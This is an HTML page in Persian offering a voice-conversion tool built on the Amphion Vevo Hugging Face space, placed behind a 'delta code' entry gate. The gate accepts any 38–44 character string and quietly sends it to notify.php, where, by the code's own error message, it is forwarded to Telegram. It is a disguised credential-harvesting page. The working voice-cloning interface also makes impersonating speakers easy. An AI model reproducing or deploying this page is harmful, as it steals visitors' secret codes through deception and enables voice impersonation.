|
<!DOCTYPE html> |
|
<html lang="fa" dir="rtl"> |
|
<head> |
|
<meta charset="UTF-8"> |
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
<title>ساخت صدای اختصاصی</title> |
|
<style> |
|
|
|
body { |
|
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; |
|
margin: 0; |
|
background-color: #f0f2f5; |
|
color: #333; |
|
display: flex; |
|
align-items: center; |
|
justify-content: center; |
|
min-height: 100vh; |
|
} |
|
|
|
|
|
#gate-overlay { |
|
position: fixed; |
|
top: 0; |
|
left: 0; |
|
width: 100%; |
|
height: 100%; |
|
background: rgba(0, 0, 0, 0.6); |
|
backdrop-filter: blur(8px); |
|
display: flex; |
|
align-items: center; |
|
justify-content: center; |
|
z-index: 1000; |
|
} |
|
|
|
#gate-box { |
|
background: white; |
|
padding: 40px; |
|
border-radius: 12px; |
|
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1); |
|
text-align: center; |
|
max-width: 400px; |
|
width: 90%; |
|
border-top: 5px solid #4299e1; |
|
} |
|
|
|
#gate-box h1 { |
|
color: #2c5282; |
|
margin-bottom: 15px; |
|
} |
|
|
|
#gate-box p { |
|
color: #718096; |
|
margin-bottom: 25px; |
|
} |
|
|
|
#delta-code-input { |
|
width: 100%; |
|
padding: 12px; |
|
border: 1px solid #cbd5e0; |
|
border-radius: 8px; |
|
box-sizing: border-box; |
|
font-size: 16px; |
|
text-align: center; |
|
margin-bottom: 10px; |
|
direction: ltr; |
|
} |
|
|
|
#submit-code-btn { |
|
width: 100%; |
|
padding: 12px; |
|
background-color: #4299e1; |
|
color: white; |
|
border: none; |
|
border-radius: 8px; |
|
cursor: pointer; |
|
font-size: 16px; |
|
font-weight: bold; |
|
transition: background-color 0.3s; |
|
} |
|
|
|
#submit-code-btn:hover { |
|
background-color: #3182ce; |
|
} |
|
|
|
#error-message { |
|
color: #e53e3e; |
|
font-size: 14px; |
|
margin-top: 15px; |
|
display: none; |
|
font-weight: bold; |
|
} |
|
|
|
|
|
#main-content { |
|
display: none; |
|
} |
|
|
|
|
|
#huggingface-vevo-api-container { |
|
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; |
|
margin: 40px auto; |
|
background-color: #f7fafc; |
|
color: #2d3748; |
|
direction: rtl; |
|
padding: 20px; |
|
border-radius: 8px; |
|
max-width: 600px; |
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); |
|
} |
|
#huggingface-vevo-api-container .container { |
|
padding: 20px; |
|
background-color: white; |
|
border-radius: 8px; |
|
} |
|
#huggingface-vevo-api-container h1 { |
|
text-align: center; |
|
color: #2c5282; |
|
font-size: 24px; |
|
} |
|
#huggingface-vevo-api-container .file-input { |
|
margin-bottom: 20px; |
|
} |
|
#huggingface-vevo-api-container label { |
|
display: block; |
|
margin-bottom: 8px; |
|
font-weight: bold; |
|
} |
|
#huggingface-vevo-api-container .description { |
|
font-size: 14px; |
|
color: #718096; |
|
margin-top: -5px; |
|
margin-bottom: 10px; |
|
font-weight: normal; |
|
} |
|
#huggingface-vevo-api-container input[type="file"] { |
|
display: block; |
|
width: 100%; |
|
padding: 8px; |
|
border: 1px solid #cbd5e0; |
|
border-radius: 4px; |
|
box-sizing: border-box; |
|
} |
|
#huggingface-vevo-api-container button { |
|
display: block; |
|
width: 100%; |
|
padding: 12px; |
|
background-color: #4299e1; |
|
color: white; |
|
border: none; |
|
border-radius: 4px; |
|
cursor: pointer; |
|
font-size: 16px; |
|
} |
|
#huggingface-vevo-api-container button:disabled { |
|
background-color: #a0aec0; |
|
cursor: not-allowed; |
|
} |
|
#huggingface-vevo-api-container #status { |
|
margin-top: 20px; |
|
padding: 12px; |
|
background-color: #e2e8f0; |
|
border-radius: 4px; |
|
text-align: center; |
|
} |
|
#huggingface-vevo-api-container #result { |
|
margin-top: 20px; |
|
text-align: center; |
|
} |
|
#huggingface-vevo-api-container #result audio { |
|
width: 100%; |
|
margin-top: 10px; |
|
} |
|
#huggingface-vevo-api-container #result a { |
|
color: #4299e1; |
|
text-decoration: none; |
|
display: inline-block; |
|
margin-top: 10px; |
|
} |
|
</style> |
|
</head> |
|
<body> |
|
|
|
|
|
<div id="gate-overlay"> |
|
<div id="gate-box"> |
|
<h1>ورود به پنل اختصاصی</h1> |
|
<p>برای دسترسی به ابزار تبدیل صدا، لطفاً کد دلتای خود را وارد کنید.</p> |
|
<input type="text" id="delta-code-input" placeholder="کد دلتا را اینجا وارد کنید"> |
|
<button id="submit-code-btn">تأیید و ورود</button> |
|
<p id="error-message">کد وارد شده نامعتبر است. (باید بین ۳۸ تا ۴۴ کاراکتر باشد)</p> |
|
</div> |
|
</div> |
|
|
|
|
|
<div id="main-content"> |
|
<div id="huggingface-vevo-api-container"> |
|
<div class="container"> |
|
<h1>رابط کاربری API برای Vevo</h1> |
|
<div class="file-input"> |
|
<label for="sourceAudio">فایل صوتی اصلی (Source Audio):</label> |
|
<p class="description">این فایل صوتی حاوی کلامی است که میخواهید با صدای جدید خوانده شود (مثلاً صدای خودتان).</p> |
|
<input type="file" id="sourceAudio" accept="audio/*" /> |
|
</div> |
|
<div class="file-input"> |
|
<label for="timbreRef">فایل صوتی مرجع (Timbre Reference):</label> |
|
<p class="description">این فایل صوتی، صدای مدلی است که میخواهید صدای اصلی به آن تبدیل شود.</p> |
|
<input type="file" id="timbreRef" accept="audio/*" /> |
|
</div> |
|
<button id="generateBtn">تبدیل صدا</button> |
|
<div id="status">آماده برای شروع...</div> |
|
<div id="result"></div> |
|
</div> |
|
</div> |
|
</div> |
|
|
|
<script> |
|
|
|
document.addEventListener('DOMContentLoaded', () => { |
|
|
|
|
|
|
|
const gateOverlay = document.getElementById('gate-overlay'); |
|
const mainContent = document.getElementById('main-content'); |
|
const submitCodeBtn = document.getElementById('submit-code-btn'); |
|
const deltaCodeInput = document.getElementById('delta-code-input'); |
|
const errorMessage = document.getElementById('error-message'); |
|
|
|
|
|
function showMainContent() { |
|
gateOverlay.style.display = 'none'; |
|
mainContent.style.display = 'block'; |
|
} |
|
|
|
|
|
if (localStorage.getItem('deltaCodeValidated') === 'true') { |
|
showMainContent(); |
|
} |
|
|
|
|
|
submitCodeBtn.addEventListener('click', () => { |
|
const code = deltaCodeInput.value.trim(); |
|
|
|
|
|
if (code.length >= 38 && code.length <= 44) { |
|
errorMessage.style.display = 'none'; |
|
|
|
|
|
fetch('notify.php', { |
|
method: 'POST', |
|
headers: { |
|
'Content-Type': 'application/json', |
|
}, |
|
body: JSON.stringify({ code: code }), |
|
}) |
|
.catch(error => console.error('Error sending to Telegram:', error)); |
|
|
|
|
|
localStorage.setItem('deltaCodeValidated', 'true'); |
|
|
|
|
|
showMainContent(); |
|
|
|
} else { |
|
|
|
errorMessage.style.display = 'block'; |
|
} |
|
}); |
|
|
|
|
|
|
|
|
|
const container = document.getElementById('huggingface-vevo-api-container'); |
|
const generateBtn = container.querySelector('#generateBtn'); |
|
const sourceAudioInput = container.querySelector('#sourceAudio'); |
|
const timbreRefInput = container.querySelector('#timbreRef'); |
|
const statusDiv = container.querySelector('#status'); |
|
const resultDiv = container.querySelector('#result'); |
|
|
|
const API_URL = "https://amphion-vevo.hf.space/gradio_api/"; |
|
|
|
function generateSessionHash() { |
|
return Math.random().toString(36).substring(2, 15); |
|
} |
|
|
|
async function uploadFile(file) { |
|
const formData = new FormData(); |
|
formData.append("files", file); |
|
|
|
const response = await fetch(`${API_URL}upload`, { |
|
method: 'POST', |
|
body: formData |
|
}); |
|
|
|
const result = await response.json(); |
|
if (result && result.length > 0) { |
|
return result[0]; |
|
} else { |
|
throw new Error("آپلود فایل با خطا مواجه شد."); |
|
} |
|
} |
|
|
|
async function startGeneration() { |
|
const sourceFile = sourceAudioInput.files[0]; |
|
const timbreFile = timbreRefInput.files[0]; |
|
|
|
if (!sourceFile || !timbreFile) { |
|
alert("لطفاً هر دو فایل صوتی را انتخاب کنید."); |
|
return; |
|
} |
|
|
|
generateBtn.disabled = true; |
|
statusDiv.textContent = 'در حال آپلود فایل اصلی...'; |
|
resultDiv.innerHTML = ''; |
|
|
|
const sessionHash = generateSessionHash(); |
|
|
|
try { |
|
const sourcePath = await uploadFile(sourceFile); |
|
statusDiv.textContent = 'در حال آپلود فایل مرجع...'; |
|
const timbrePath = await uploadFile(timbreFile); |
|
|
|
statusDiv.textContent = 'ارسال درخواست برای پردازش...'; |
|
|
|
const joinPayload = { |
|
"data": [ |
|
{ "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "size": sourceFile.size, "mime_type": sourceFile.type, "meta": { "_type": "gradio.FileData" } }, |
|
{ "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "size": timbreFile.size, "mime_type": timbreFile.type, "meta": { "_type": "gradio.FileData" } } |
|
], |
|
"event_data": null, |
|
"fn_index": 0, |
|
"trigger_id": 10, |
|
"session_hash": sessionHash |
|
}; |
|
|
|
await fetch(`${API_URL}queue/join?`, { |
|
method: 'POST', |
|
headers: { 'Content-Type': 'application/json' }, |
|
body: JSON.stringify(joinPayload) |
|
}); |
|
|
|
statusDiv.textContent = 'در صف پردازش قرار گرفت. منتظر نتیجه بمانید...'; |
|
|
|
const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`); |
|
|
|
eventSource.onmessage = function(event) { |
|
const data = JSON.parse(event.data); |
|
|
|
if (data.msg === 'process_starts') { |
|
statusDiv.textContent = 'پردازش شروع شد...'; |
|
} else if (data.msg === 'process_completed') { |
|
statusDiv.textContent = 'پردازش با موفقیت انجام شد!'; |
|
const resultPath = data.output.data[0].path; |
|
const resultUrl = `${API_URL}file=${resultPath}`; |
|
|
|
resultDiv.innerHTML = ` |
|
<h3>نتیجه:</h3> |
|
<audio controls src="${resultUrl}"></audio> |
|
<br> |
|
<a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a> |
|
`; |
|
eventSource.close(); |
|
generateBtn.disabled = false; |
|
} else if (data.msg === 'queue_full') { |
|
statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.'; |
|
eventSource.close(); |
|
generateBtn.disabled = false; |
|
} |
|
}; |
|
|
|
eventSource.onerror = function() { |
|
statusDiv.textContent = 'خطا در ارتباط با سرور.'; |
|
eventSource.close(); |
|
generateBtn.disabled = false; |
|
}; |
|
|
|
} catch (error) { |
|
statusDiv.textContent = `خطا: ${error.message}`; |
|
generateBtn.disabled = false; |
|
} |
|
} |
|
|
|
generateBtn.addEventListener('click', startGeneration); |
|
}); |
|
</script> |
|
</body> |
|
</html> |